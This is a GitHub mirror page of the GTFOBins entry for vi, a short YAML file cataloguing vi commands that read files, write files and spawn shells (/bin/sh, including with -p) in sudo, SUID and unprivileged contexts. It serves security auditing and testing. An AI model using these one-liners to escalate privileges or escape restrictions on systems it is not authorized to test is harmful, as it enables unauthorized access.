1
0
mirror of https://github.com/GTFOBins/GTFOBins.github.io.git synced 2026-03-07 14:36:23 +01:00
GTFOBins.github.io/_gtfobins/vi
Arnout de Groot 1e3f2083da Add another vi SUID shell
Close #456.
2026-01-18 07:42:38 +01:00

56 lines
951 B
Plaintext

---
functions:
file-read:
- code: |-
vi /path/to/input-file
contexts:
sudo:
suid:
unprivileged:
file-write:
- code: |-
vi /path/to/output-file
iDATA
^[
w
comment: |-
Where `^[` is the escape key.
contexts:
sudo:
suid:
unprivileged:
shell:
- code: |-
vi -c ':!/bin/sh' /dev/null
contexts:
sudo:
suid:
shell: true
unprivileged:
- code: |-
vi -c ':shell'
contexts:
sudo:
suid:
shell: true
unprivileged:
- code: |-
vi -c ':set shell=/bin/sh | shell'
contexts:
sudo:
suid:
code: |-
vi -c ':set shell=/bin/sh\ -p | shell'
shell: false
unprivileged:
- code: |-
vi -c :terminal /bin/sh
contexts:
sudo:
suid:
code: |-
vi -c ':terminal /bin/sh -p'
shell: false
unprivileged:
...